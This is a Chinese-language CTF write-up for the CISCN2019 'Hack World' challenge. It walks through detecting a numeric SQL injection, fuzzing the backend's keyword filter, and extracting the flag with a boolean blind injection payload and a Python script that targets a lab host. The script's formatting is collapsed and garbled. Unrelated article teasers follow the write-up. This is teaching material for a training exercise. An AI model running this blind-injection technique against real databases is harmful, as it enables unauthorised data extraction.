[CISCN2019 华北赛区 Day2 Web1]Hack World 1 题目分析与详解

一、分析判断

进入靶机,主页面如图:

主页面提供给我们一条关键信息: flag值在 表flag 中的 flag列 中。

接着我们尝试输入不同的id,情况分别如图:

当id=1时:

当id=2时:

当id=3时:

 我们发现,页面提示该用户不存在,往后输入4、5....依旧如此,id=0时也一样。

当尝试 id= abc等字母时:

提示类型错误,我们猜测注入类型为数字型注入。

带着猜测,我们尝试 id=1':

 猜测成立,注入类型为数字型注入。

然后我们尝试从表flag,列flag中查询flag的值:

1 union select flag from flag

意外出现了,页面提示我们后端代码中存在SQL注入检测,说明注入语句中有关键字被过滤了。

我们需要查询哪些关键字被过滤了。

当我们尝试 id=select时:

显示类型错误,显然后端将 select 当成用户名了,那我们加上1试一试。

当 id=1 select 时:

我们发现 select 果真被过滤了,发现检查方法之后,利用Burpsuite抓包和Fuzz字典对id进行爆破,检测哪些关键字被过滤掉了。

通过查看 resoponse 得知,Length=535的关键字全部都被过滤掉了,其中 union、select、extracvalue、updatexml、sleep等常见注入关键字全部都被过滤,目前只剩下一条路可走---布尔盲注

从上文得知,id=1时,页面会回显一段文字,那么我们使用布尔盲注,使布尔值等于1,那么等效于我们在 id框中输入1。

如:

(ascii(substr((select(flag)from(flag)),1,1))>32) 若成立,则会返回1,id=1时会回显出一段字符,根据是否回显,我们可以一个一个地将flag中的字符拆解出来。

这就需要我们使用到 python 去编写盲注脚本:

import time
import requestsurl = "http://3d63bec3-9674-4015-8b95-665ab2c68324.node5.buuoj.cn:81/index.php"
result = ""
for i in range(1, 50):for j in range(32, 128):#time.sleep(0.1)payload = "(ascii(substr((select(flag)from(flag)),{m},1))>{n})"response = requests.post(url=url, data={'id':payload.format(m=i,n=j)})if response.text.find('girl') == -1:result += chr(j)print(j)breakprint("正在注出flag:", result)
print("flag的值为:", result)

跑出结果如下图:

最终拿到 flag,成功提交通关。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/709017.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

YOLOv8改进涨点,添加GSConv+Slim Neck,有效提升目标检测效果,代码改进(超详细)

目录 摘要 主要想法 GSConv GSConv代码实现 slim-neck slim-neck代码实现 yaml文件 完整代码分享 总结 摘要 目标检测是计算机视觉中重要的下游任务。对于车载边缘计算平台来说,巨大的模型很难达到实时检测的要求。而且,由大量深度可分离卷积层构…

【Redis | 第三篇】Springboot整合Redis

文章目录 3.Springboot整合Redis3.1Spring Data Redis介绍3.2整合步骤3.2.1导入依赖3.2.2配置redis数据源3.2.3使用RedisTemplate进行操作(1)创建RedisTemplate Bean(2)注入RedisTemplate(3)执行Redis操作&…

C++:常量表达式

C11开始constexpr作为一种声明,为编译器提供了在编译期间确认结果的优化建议,满足部分编译期特性的需求 constexpr和const区别 int b10; const int ab; //运行成功 constexpr int cb; //编译器报错,b的值在编译期间不能确定 const int size1…

面试笔记系列二之java基础+集合知识点整理及常见面试题

目录 Java面向对象有哪些特征,如何应用 Java基本数据类型及所占字节 Java中重写和重载有哪些区别 jdk1.8的新特性有哪些 内部类 1. 成员内部类(Member Inner Class): 2. 静态内部类(Static Nested Class&#…

Vue 组件和插件:探索细节与差异

查看本专栏目录 关于作者 还是大剑师兰特:曾是美国某知名大学计算机专业研究生,现为航空航海领域高级前端工程师;CSDN知名博主,GIS领域优质创作者,深耕openlayers、leaflet、mapbox、cesium,canvas&#x…

Linux查看进程占用句柄

ps -ef |grep python # 查找工具执行PID python pid 11287lsof -p 11287 |wc -l 查看进程占用句柄设置句柄上限IOError: [Errno 24] Too many open files:解决方法

阿里云短信验证笔记

1.了解阿里云的权限操作 进入AccessKey管理 选择子用户 创建用户组和用户 先创建用户组,建好再进行权限分配 添加短信管理权限 创建用户 创建好后的id和密码在此处下载可以得到 2.开通阿里云短信服务 进行申请,配置短信模板 阿里云短信API文档 短信服务…

逆向案例三:动态xhr包中AES解密的一般步骤,以精灵数据为例

补充知识:进行AES解密需要知道四个关键字,即密钥key,向量iv,模式mode,填充方式pad 一般网页AES都是16位的,m3u8视频加密一般是AES-128格式 网页链接:https://www.jinglingshuju.com/articles 进行抓包结果返回的是密文: 一般思…

性能测试-jvm

1、jps: 查看java进程 [rootVM-100-3-centos ~]# jps 7088 Jps 1521 ruoyi-admin.jar 3978 sys_perf_01-0.0.1-SNAPSHOT.jar [rootVM-100-3-centos ~]# 2、jmap: 查看java内存 [rootVM-100-3-centos ~]# jmap -heap 3978 Attaching to process ID 39…

【算法大家庭】分治算法

目录 🥓1.简单介绍 🧈2.汉诺塔问题 1.简单介绍 分治算法是解决问题的一种思想,它将一个大问题分解成若干个小问题,然后分别解决这些小问题,最后将小问题的解合并起来得到原问题的解。 分解:将原问题分解…

我的创作纪念日(直接跳过)

机缘 转眼已经工作多年了,在工作中收获了很多,也成长了很多。仔细写的话也不是几句话能概括完整的。 收获 时常记录一些心得或者是步骤,分享踩过的坑。有些时候同样的操作自己还会回来看看,说明还是有不少用处。 日常 随心&…

Mazing官方 2.17.17版新i功能介绍

iMazing官方 2.17.17版是一款管理苹果设备的软件,是一款帮助用户管理 IOS 手机的PC端应用程序,能力远超 iTunes 提供的终极 iOS 设备管理器。在iMazing官方版上与苹果设备连接后,可以轻松传输文件,浏览保存信息等,功能…

SD-WAN对云服务的影响

近年来,随着企业对云服务的依赖不断增加,SD-WAN技术成为提升连接性能的热门选择。SD-WAN通过简化云集成和连接,以及提升应用程序性能,为企业带来显著的业务优势。这种云连接的改进使企业能够更轻松地接触全球劳动力和潜在客户。 首…

语文专刊《中学语文》是什么级别的刊物?

语文专刊《中学语文》是什么级别的刊物? 《中学语文》创刊于1958年,由国家新闻出版总署批准,经湖北省教育厅主管的省级学术期刊。 《中学语文》是由湖北大学文学院主办、国内外公开发行的学术期刊,主要面向中学语文教师和语文教…

盘点:好用的伪原创文章生成器软件

伪原创文章生成器软件在内容创作域领应用的非常广泛,它不仅可以为创作人员解决文章或文案创作困难的问题,同时还可以作为提升创作效率的完美工作,然而随着互联网技术的发展,互联网上的伪原创文章生成器软件多到让人应接不暇&#…

【前端】数据处理

1、校验是否缺少必填字段 const tableHeader [测站编码, 曲线名称, 启用时间, 点序号, 水位(m), 流量(m/s)];function checkMissingFields(tableHeader) {const requiredFields [*曲线名称, *水位(m), *测站编码, *流量(m/s)];const missingFields [];requiredFields.forEa…

vue项目中区域拖拽修改大小, Vue Grid Layout -️ 适用Vue.js的栅格布局系统

目录 一、安装 二、使用 三、属性介绍 GridLayout GridItem 四、事件介绍 GridLayout layoutCreated layoutBeforeMountEvent layoutMountedEvent layoutReadyEvent layoutUpdatedEvent breakpointChangedEvent GridItem moveEvent resizeEvent movedEvent re…

echarts鼠标事件

鼠标事件支持方法 ECharts 支持常规的鼠标事件类型,包括 ‘click’、 ‘dblclick’、 ‘mousedown’、 ‘mousemove’、 ‘mouseup’、 ‘mouseover’、 ‘mouseout’、 ‘globalout’、 ‘contextmenu’ 事件 简单实例 // 基于准备好的dom,初始化EChar…

加州大学圣地亚哥分校伯克利分校联合英伟达最新开源!COLMAP-Free 3D Gaussian Splatting

作者:石昊 | 来源:3DCV 在公众号「3DCV」后台,回复「原论文」可获取论文pdf 添加微信:dddvision,备注:3D高斯,拉你入群。文末附行业细分群 从图像序列中进行相机姿态估计和新视角合成的问题。…

论文笔记:A survey on zero knowledge range proofs and applications

https://link.springer.com/article/10.1007/s42452-019-0989-z 描述了构建零知识区间证明(ZKRP)的不同策略,例如2001年Boudot提出的方案;2008年Camenisch等人提出的方案;以及2017年提出的Bulletproofs。 Introducti…